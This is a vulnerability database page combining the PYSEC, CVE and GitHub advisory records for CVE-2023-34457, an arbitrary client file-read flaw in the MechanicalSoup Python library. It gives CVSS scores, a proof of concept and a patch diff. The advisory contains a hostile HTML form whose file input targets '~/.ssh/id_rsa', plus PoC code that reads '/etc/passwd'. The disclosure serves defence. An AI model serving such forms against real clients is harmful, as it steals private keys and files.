Vulnerability-Lookup

PYSEC-2023-108

Vulnerability from pysec - Published: 2023-07-05 20:15 - Updated: 2023-07-12 18:32

Details

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Impacted products

Name	purl
mechanicalsoup	pkg:pypi/mechanicalsoup

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mechanicalsoup",
        "purl": "pkg:pypi/mechanicalsoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "d57c4a269bba3b9a0c5bfa20292955b849006d9e"
            }
          ],
          "repo": "https://github.com/MechanicalSoup/MechanicalSoup",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.10.0",
        "0.11.0",
        "0.12.0",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.7.0",
        "0.8.0",
        "0.9.0",
        "0.9.0.post1",
        "0.9.0.post2",
        "0.9.0.post3",
        "0.9.0.post4",
        "1.0.0",
        "1.1.0",
        "1.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34457",
    "GHSA-x456-3ccm-m6j4"
  ],
  "details": "MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form. All users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.",
  "id": "PYSEC-2023-108",
  "modified": "2023-07-12T18:32:48.148340+00:00",
  "published": "2023-07-05T20:15:00+00:00",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
    }
  ]
}

CVE-2023-34457 (GCVE-0-2023-34457)

Vulnerability from cvelistv5 – Published: 2023-07-05 19:25 – Updated: 2025-02-13 16:55

Title

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

Summary

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-10-24 17:59 UTC

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/MechanicalSoup/MechanicalSoup/…	x_refsource_CONFIRM
https://github.com/MechanicalSoup/MechanicalSoup/…	x_refsource_MISC
https://github.com/MechanicalSoup/MechanicalSoup/…	x_refsource_MISC
https://security.netapp.com/advisory/ntap-2023080…

Impacted products

2 products

Vendor	Product	Version
MechanicalSoup	MechanicalSoup	Affected: >= 0.2.0, < 1.3.0
mechanicalsoup_project	mechanicalsoup	Affected: 0.2.0 , < 1.3.0 (custom) cpe:2.3:a:mechanicalsoup_project:mechanicalsoup::::::python::*

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T16:10:06.995Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
          },
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
          },
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230803-0005/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:mechanicalsoup_project:mechanicalsoup:*:*:*:*:*:python:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "mechanicalsoup",
            "vendor": "mechanicalsoup_project",
            "versions": [
              {
                "lessThan": "1.3.0",
                "status": "affected",
                "version": "0.2.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-34457",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-24T17:59:35.918865Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-24T18:18:50.540Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "MechanicalSoup",
          "vendor": "MechanicalSoup",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.2.0, \u003c 1.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form. All users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-08-03T14:06:20.059Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
        },
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
        },
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230803-0005/"
        }
      ],
      "source": {
        "advisory": "GHSA-x456-3ccm-m6j4",
        "discovery": "UNKNOWN"
      },
      "title": "MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-34457",
    "datePublished": "2023-07-05T19:25:35.966Z",
    "dateReserved": "2023-06-06T16:16:53.559Z",
    "dateUpdated": "2025-02-13T16:55:35.658Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-X456-3CCM-M6J4

Vulnerability from github – Published: 2023-07-05 21:35 – Updated: 2024-10-01 19:29

Summary

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

Details

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

<html><body>
  <form method="post" enctype="multipart/form-data">
    <input type="text" name="greeting" value="hello" />
    <input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
  </form>
</body></html>

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser

 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")

                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
                     if filepath != "" and isinstance(filepath, str):
-                        content = open(filepath, "rb")
+                        content = getattr(tag, "_mechanicalsoup_file", None)
+                        if content is False:
+                            raise ValueError(
+                                """From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({"name": open("/path/to/filename", "rb")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client."""
+                            )
+                        elif not isinstance(content, io.IOBase):
+                            content = ""
                     else:
                         content = ""
                     filename = os.path.basename(filepath)
                     # If value is the empty string, we still pass it
                     # for consistency with browsers (see
                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
                     files[name] = (filename, content)
diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py
index a67195c..82f6015 100644
--- a/mechanicalsoup/form.py
+++ b/mechanicalsoup/form.py
@@ -1,8 +1,9 @@
 import copy
+import io
 import warnings

 from bs4 import BeautifulSoup

 from .utils import LinkNotFoundError


@@ -64,15 +65,24 @@ class Form:
         give it the value ``password``.
         """

         for (name, value) in data.items():
             i = self.form.find("input", {"name": name})
             if not i:
                 raise InvalidFormMethod("No input field named " + name)
-            i["value"] = value
+
+            if isinstance(value, io.IOBase):
+                # Store the actual file object for <input type="file">
+                i._mechanicalsoup_file = value
+                i["value"] = value.name
+            else:
+                # We set `_mechanicalsoup_file` to `False` so that we can
+                # check for deprecated use of the API.
+                i._mechanicalsoup_file = False
+                i["value"] = value

     def uncheck_all(self, name):
         """Remove the *checked*-attribute of all input elements with
         a *name*-attribute given by ``name``.
         """
         for option in self.form.find_all("input", {"name": name}):
             if "checked" in option.attrs:
@@ -257,20 +267,20 @@ class Form:
         .. code-block:: python

             form.set("login", username)
             form.set("password", password)
             form.set("eula-checkbox", True)

         Example: uploading a file through a ``<input type="file"
-        name="tagname">`` field (provide the path to the local file,
+        name="tagname">`` field (provide an open file object,
         and its content will be uploaded):

         .. code-block:: python

-            form.set("tagname", path_to_local_file)
+            form.set("tagname", open(path_to_local_file, "rb"))

         """
         for func in ("checkbox", "radio", "input", "textarea", "select"):
             try:
                 getattr(self, "set_" + func)({name: value})
                 return
             except InvalidFormMethod:

Impact

All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MechanicalSoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-05T21:35:54Z",
    "nvd_published_at": "2023-07-05T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form.\n\n### Details\nThis affects the extremely common pattern of form submission:\n\n```python\nb = mechanicalsoup.StatefulBrowser()\nb.select_form(...)\nb.submit_selected()\n```\n\nThe problem is with the code in `browser.Browser.get_request_kwargs`:\n\n```python\n    if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n        filepath = value\n        if filepath != \"\" and isinstance(filepath, str):\n            content = open(filepath, \"rb\")\n        else:\n            content = \"\"\n        filename = os.path.basename(filepath)\n        # If value is the empty string, we still pass it\n        # for consistency with browsers (see\n        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n        files[name] = (filename, content)\n```\n\nThe file path is taken from the bs4 tag \"value\" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:\n\n```html\n\u003chtml\u003e\u003cbody\u003e\n  \u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n    \u003cinput type=\"file\" name=\"evil\" value=\"/home/user/.ssh/id_rsa\" /\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nthen upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key.\n\n### PoC\n\n```python\nimport attr\nimport mechanicalsoup\nimport requests\n\n\nclass NevermindError(Exception):\n    pass\n\n\n@attr.s\nclass FakeSession:\n    session = attr.ib()\n\n    headers = property(lambda self: self.session.headers)\n\n    def request(self, *args, **kwargs):\n        print(\"requested\", args, kwargs)\n        raise NevermindError  # don\u0027t actually send request\n\n\ndef demonstrate(inputs=None):\n    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))\n    b.open_fake_page(\"\"\"\\\n\u003chtml\u003e\u003cbody\u003e\n\u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n\u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n\u003cinput type=\"file\" name=\"evil\" value=\"/etc/passwd\" /\u003e\n\u003cinput type=\"file\" name=\"second\" /\u003e\n\u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n\"\"\", url=\"http://127.0.0.1:9/\")\n    b.select_form()\n    if inputs is not None:\n        b.form.set_input(inputs)\n    try:\n        b.submit_selected()\n    except NevermindError:\n        pass\n\n# %%\n\n# unpatched\ndemonstrate()\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027passwd\u0027, \u003c_io.BufferedReader name=\u0027/etc/passwd\u0027\u003e), \u0027second\u0027: (\u0027\u0027, \u0027\u0027)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hello\u0027)]}\n\n# %%\n\n# with the patch, this now works. users MUST open the file manually and\n# use browser.set_input() using the file object.\ndemonstrate({\"greeting\": \"hiya\", \"evil\": open(\"/etc/hostname\", \"rb\").name, \"second\": open(\"/dev/null\", \"rb\")})\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027hostname\u0027, \u003c_io.BufferedReader name=\u0027/etc/hostname\u0027\u003e), \u0027second\u0027: (\u0027null\u0027, \u003c_io.BufferedReader name=\u0027/dev/null\u0027\u003e)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hiya\u0027)]}\n\n# %%\n\n# with the patch, this raises a ValueError with a helpful string\ndemonstrate({\"evil\": \"/etc/hostname\"})\n\n# %%\n\n# with the patch, we silently send no file if a malicious server tries the attack:\ndemonstrate()\n```\n\n### Suggested patch\n\n```diff\ndiff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py\nindex 285f8bb..68bc65e 100644\n--- a/mechanicalsoup/browser.py\n+++ b/mechanicalsoup/browser.py\n@@ -1,7 +1,8 @@\n+import io\n import os\n import tempfile\n import urllib\n import weakref\n import webbrowser\n \n import bs4\n@@ -227,15 +228,21 @@ class Browser:\n                     value = tag.get(\"value\", \"\")\n \n                 # If the enctype is not multipart, the filename is put in\n                 # the form as a text input and the file is not sent.\n                 if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n                     filepath = value\n                     if filepath != \"\" and isinstance(filepath, str):\n-                        content = open(filepath, \"rb\")\n+                        content = getattr(tag, \"_mechanicalsoup_file\", None)\n+                        if content is False:\n+                            raise ValueError(\n+                                \"\"\"From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({\"name\": open(\"/path/to/filename\", \"rb\")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client.\"\"\"\n+                            )\n+                        elif not isinstance(content, io.IOBase):\n+                            content = \"\"\n                     else:\n                         content = \"\"\n                     filename = os.path.basename(filepath)\n                     # If value is the empty string, we still pass it\n                     # for consistency with browsers (see\n                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                     files[name] = (filename, content)\ndiff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py\nindex a67195c..82f6015 100644\n--- a/mechanicalsoup/form.py\n+++ b/mechanicalsoup/form.py\n@@ -1,8 +1,9 @@\n import copy\n+import io\n import warnings\n \n from bs4 import BeautifulSoup\n \n from .utils import LinkNotFoundError\n \n \n@@ -64,15 +65,24 @@ class Form:\n         give it the value ``password``.\n         \"\"\"\n \n         for (name, value) in data.items():\n             i = self.form.find(\"input\", {\"name\": name})\n             if not i:\n                 raise InvalidFormMethod(\"No input field named \" + name)\n-            i[\"value\"] = value\n+\n+            if isinstance(value, io.IOBase):\n+                # Store the actual file object for \u003cinput type=\"file\"\u003e\n+                i._mechanicalsoup_file = value\n+                i[\"value\"] = value.name\n+            else:\n+                # We set `_mechanicalsoup_file` to `False` so that we can\n+                # check for deprecated use of the API.\n+                i._mechanicalsoup_file = False\n+                i[\"value\"] = value\n \n     def uncheck_all(self, name):\n         \"\"\"Remove the *checked*-attribute of all input elements with\n         a *name*-attribute given by ``name``.\n         \"\"\"\n         for option in self.form.find_all(\"input\", {\"name\": name}):\n             if \"checked\" in option.attrs:\n@@ -257,20 +267,20 @@ class Form:\n         .. code-block:: python\n \n             form.set(\"login\", username)\n             form.set(\"password\", password)\n             form.set(\"eula-checkbox\", True)\n \n         Example: uploading a file through a ``\u003cinput type=\"file\"\n-        name=\"tagname\"\u003e`` field (provide the path to the local file,\n+        name=\"tagname\"\u003e`` field (provide an open file object,\n         and its content will be uploaded):\n \n         .. code-block:: python\n \n-            form.set(\"tagname\", path_to_local_file)\n+            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n \n         \"\"\"\n         for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n             try:\n                 getattr(self, \"set_\" + func)({name: value})\n                 return\n             except InvalidFormMethod:\n```\n\n### Impact\n\nAll users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.",
  "id": "GHSA-x456-3ccm-m6j4",
  "modified": "2024-10-01T19:29:06Z",
  "published": "2023-07-05T21:35:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34457"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mechanicalsoup/PYSEC-2023-108.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form"
}

Sightings

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PYSEC-2023-108

CVE-2023-34457 (GCVE-0-2023-34457)

GHSA-X456-3CCM-M6J4

Summary

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